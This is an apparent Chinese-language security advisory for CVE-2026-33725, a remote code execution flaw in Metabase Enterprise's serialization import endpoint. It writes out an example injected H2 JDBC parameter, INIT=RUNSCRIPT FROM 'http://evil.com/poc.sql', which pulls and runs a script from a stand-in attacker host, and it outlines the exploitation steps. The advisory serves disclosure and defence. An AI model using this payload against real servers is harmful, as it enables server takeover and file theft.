CVE-2026-33725Metabase Enterprise 存在严重安全漏洞,允许经过身份认证的管理员执行远程代码。攻击者通过向 `/api/ee/serialization/import` 接口发送恶意的序列化归档文件,在 H2 JDBC 规范中注入 `INIT` 属性。当触发数据库同步时,该属性会执行任意 SQL 语句,进而导致远程代码执行和任意文件读取。此漏洞影响 Metabase Cloud 及多个旧版本 Enterprise,但开源版本不受影响。
该漏洞的根本原因在于 Metabase Enterprise 的序列化导入功能处理不当。攻击者首先需要获取管理员级别的权限。随后,构造一个特制的序列化归档文件,该文件中包含恶意的 H2 JDBC 连接字符串。关键利用点是在连接字符串中注入 `INIT` 参数(例如 `INIT=RUNSCRIPT FROM 'http://evil.com/poc.sql'`)。当管理员通过 POST 请求上传该文件到 `/api/ee/serialization/import` 端点时,Metabase 会尝试解析并导入该配置。在后续的数据库同步过程中,系统会使用被污染的 JDBC 规范连接数据库,H2 数据库引擎会解析并执行 `INIT` 指定的 SQL 命令。由于 H2 支持通过 SQL 执行 Java 代码或读取文件,攻击者借此在服务器端执行任意系统命令,从而完全控制服务器。Metabase OSS 版本因缺少相关代码路径而免疫。